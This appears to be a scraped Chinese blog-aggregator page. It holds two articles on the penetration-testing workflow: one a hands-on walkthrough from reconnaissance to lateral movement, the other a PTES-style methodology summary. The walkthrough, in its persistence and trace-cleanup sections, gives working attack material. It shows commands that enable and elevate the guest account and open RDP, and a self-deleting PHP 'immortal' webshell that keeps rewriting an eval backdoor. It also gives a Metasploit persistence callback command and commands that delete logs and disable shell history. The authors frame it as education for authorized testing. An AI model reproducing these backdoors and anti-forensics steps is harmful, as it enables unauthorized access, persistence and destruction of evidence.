精华内容
下载资源
问答
  • 一次完整的渗透测试流程

    万次阅读 多人点赞 2018-12-01 19:13:56
    渗透测试 信息收集 漏洞探测 漏洞利用 内网转发 内网渗透 痕迹清除 撰写渗透测试保告 渗透测试 渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后...

    目录

    渗透测试

    信息收集

    漏洞探测

    漏洞利用

    内网转发

    内网渗透

    痕迹清除

    撰写渗透测试保告


    如果想跟我一起讨论,那快加入我的知识星球吧!  

     

    渗透测试

    渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!

    渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法

    渗透测试分为 白盒测试黑盒测试

    • 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
    • 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透

    我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。

    接下来,我就给大家分享下黑盒渗透测试的流程和思路!

    当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?

    信息收集

    第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——> 渗透测试之信息收集

    漏洞探测

    当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:

    这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。

    网站漏洞扫描工具也有很多,比如:

    网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!

    漏洞利用

    当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:

    SQL注入 , 传送门——> Sqlmap的使用

    XSS跨站脚本,传送门——> Beef-XSS的使用

    抓包改包工具,——> Burpsuite工具的使用  、  Fidder抓包软件的使用

    文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马

    但是,获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用  、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权

    内网转发

    当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。

    如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。

    内网横向渗透

    当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。

    对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活  guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。

    • FTP相关的软件
    • 数据库相关的软件
    • 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码

    从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。

    net user  guest  /active:yes                      #激活guest用户
    net localgroup  administrators  guest  /add       #将guest用户添加到
    net user guest    密码                            #更改guest用户密码
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f                          #开启3389端口

    对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。

    在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。

    关于内网渗透(域环境和非域环境):内网渗透

    内网的横向渗透MSF比较好用:

    内网渗透的ICMP和DNS隧道搭建:

    相关文章:内网渗透测试之域渗透详解!

                      内网渗透中mimikatz的使用

    权限维持

    在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。

    Web后门

    1:隐藏后门文件(将文件设置为隐藏)

    2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。

    <?php
        set_time_limit(0);//程序执行时间
        ignore_user_abort(1);//关掉终端后脚本仍然运行
        unlink(__FILE__);//文件完整名
        while(1){
            file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
            $b=array_keys($a)[0];
            eval($b);?>');
            sleep(5);
        }
    ?>

    3: 404页面隐藏后门,或者在其他自带文件中插入后门代码

    注:以上几种后门方法均能被D盾等工具检测到

    Windows系统

    1:建立隐藏用户,在用户名后加 $ 

    2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控

    3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现

    #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
    run persistence -X -i 5 -p 8888 -r 192.168.10.27  
     
    #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

    4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。

    5:shift后门

    6:远程桌面会话劫持 

    Linux系统

    1:SSH后门

    2:crontab定时任务

    3:SSH公钥

    4:创建SUID=0的用户

    痕迹清除

    当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!

    我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。

    最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。

    Windows系统

    1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹

    2:如果3389远程登录过,需要清除mstsc痕迹

    3:执行命令清除日志:

    del %WINDR%\* .log /a/s/q/f

    4:如果是web应用,找到web日志文件,删除 

    相关文章:WINDOWS之入侵痕迹清理总结

    Linux系统

    1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令

    export HISTFILE=/dev/null export HISTSIZE=0

    2:删除 /var/log 目录下的日志文件

    3:如果是web应用,找到web日志文件,删除 

    撰写渗透测试保告

    在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!

    我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!

    未完待续。。。。。。

    相关文章:红蓝对抗经验小结

    展开全文
  • 渗透测试流程

    2020-06-22 16:28:51
    渗透测试流程 渗透测试执行标准PTES (PTES)的先驱都是渗透测试行业的精英,有七个阶段组成 可以在任意环境中进行富有成功的渗透测试。 [http://www.pentest-standard.org/index.php/Main_Page] 7个阶段: 事前互动...

    渗透测试流程

    渗透测试执行标准PTES

    (PTES)的先驱都是渗透测试行业的精英,有七个阶段组成 可以在任意环境中进行富有成功的渗透测试。
    [http://www.pentest-standard.org/index.php/Main_Page]

    7个阶段:

    事前互动
    情报搜集
    威胁建模
    漏洞分析
    漏洞利用
    深度利用
    书面报告

    主要特点优势

    PTES的主要特性和优势如下

    1、他是非常全面的渗透测试框架涵盖了绳渗透测试的技术方面和其他重要方面,如范围蔓延、报告、以及渗透人员保护自身的方法

    2、他介绍了多数测试任务的具体方法,可指导你准确测试目标系统的安全状态

    3、他汇聚了多名日行一”渗“的渗透测试专家的丰富经验

    4、它包含最常用的以及很罕见的相关技术

    5、他浅显易懂,你可根据测试工作的需要对相应的测试步骤进行调整

    通用渗透测试框架

    从技术管理的角度,遵循正规的测试框架对安全测试极为重要,通用渗透测试框架涵盖了典型的审计测试工作和渗透测试工作会涉及到的各个阶段。

    10个相关阶段:

    范围界定
    信息搜集
    目标识别
    服务枚举
    漏洞映射
    社会工程学
    漏洞利用
    权限提升
    访问维护
    文档报告
    无论是进行白盒测试还是黑盒测试,选择和使用测试步骤都是一个渗透测试人员的责任。

    在测试开始前,测试人员需要根据目标系统的实际环境和已掌握的相关目标系统的情况,指定最佳的测试策略。

    范围界定
    1、测试对象是什么?

    2、应当采用何种测试方法?

    3、有哪些在渗透测试中需要满足的条件?

    4、哪些因素可能会限制测试执行的过程?

    5、需要多久才能完成测试?

    6、此次测试应该达到什么样的任务目标?

    信息搜集
    渗透测试人员需要使用各种公开的资源尽可能的获取测试目标的相关消信息。

    从互联网上搜集信息的主要渠道有:

    论坛|公告板|新闻组|媒体文件|博客|社交网络|其他商业或非商业的网站

    此外还可以通过各种搜索引擎获取相关数据。

    如谷歌、雅虎、MSN必应、百度等

    收集信息主要包括DNS、服务器、路由关系、whois、数据库、电子邮件地址、电话号码、个人信息以及用户账户。

    收集的信息越多,渗透测试成功的概率越高。

    目标识别
    识别目标网络的状态,操作系统和网络架构。

    服务枚举
    这一阶段根据前面各个阶段的成果,进一步找出目标系统所有开放的断开。

    一旦找到了所有开放端口,就可以通过这些端口列出目标系统上运行的服务。

    主机上开放的端口都有相应的服务程序,对这些信息进行深度分析之后,可进一步发掘目标网络基础设施中可能存在的漏洞。

    漏洞映射(漏洞扫描)
    根据已发现的的开放端口和服务程序,查找已知和未知的漏洞

    社会工程学
    如果目标网络没有直接的入口,欺骗艺术将起到抛砖引玉的重要作用。

    对目标组织的人员进行定向攻击,很可能帮助我们找到渗透目标系统的入口。

    例如,诱使用户安装后门的恶意程序,就可能对审计人员的的渗透工作形成突破。

    社会工程学渗透分为多种不同的实现形式。

    伪装成网络管理员,通过电话要求用户提高自己的账户信息;发送钓鱼邮件来劫持用户的银行账户;甚至诱使某人出现在某地,这些都是社会工程学攻击

    需要注意的是在对目标进行欺骗以达到渗透目标之前,多数情况下需要长时间研究目标人员的心理

    另外,需要研究当地的法律是否允许

    漏洞利用
    发现漏洞之后,就可以使用已有漏洞利用程序对目标系统进行渗透

    这个阶段的主要任务就是控制目标系统

    这个流程可分为三步,涉及攻击前、攻击、攻击后的相关行动

    权限提升
    渗透测试人员根据其拥有的访问权限,在目标系统任意发挥,

    提权,就是将普通用户权限提升至管理员权限

    访问维护
    多数情况下,审计人员需要一段时间内维护他们对目标系统的访问权限。

    也就是埋藏后门(离开时清除后门)

    文档报告
    审计人员要记录、报告并现场演示那些已经识别、验证和利用了的安全漏洞。

    并根据这些文档修补所有存在的安全漏洞

    简化的渗透测试流程

    明确目标

    确定范围|确定规则|确定需求

    信息收集

    基础信息|系统信息|应用信息|人员信息|防护信息

    漏洞探测

    系统漏洞|Web服务漏洞|Web应用漏洞|其他端口|通信安全

    漏洞验证

    手工验证|工具验证|实验验证

    漏洞利用

    定制EXP|防御绕过|进一步渗透|清理痕迹

    形成报告

    整理结果|补充介绍|修复建议

    展开全文

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 738
精华内容 295
关键字:

渗透测试流程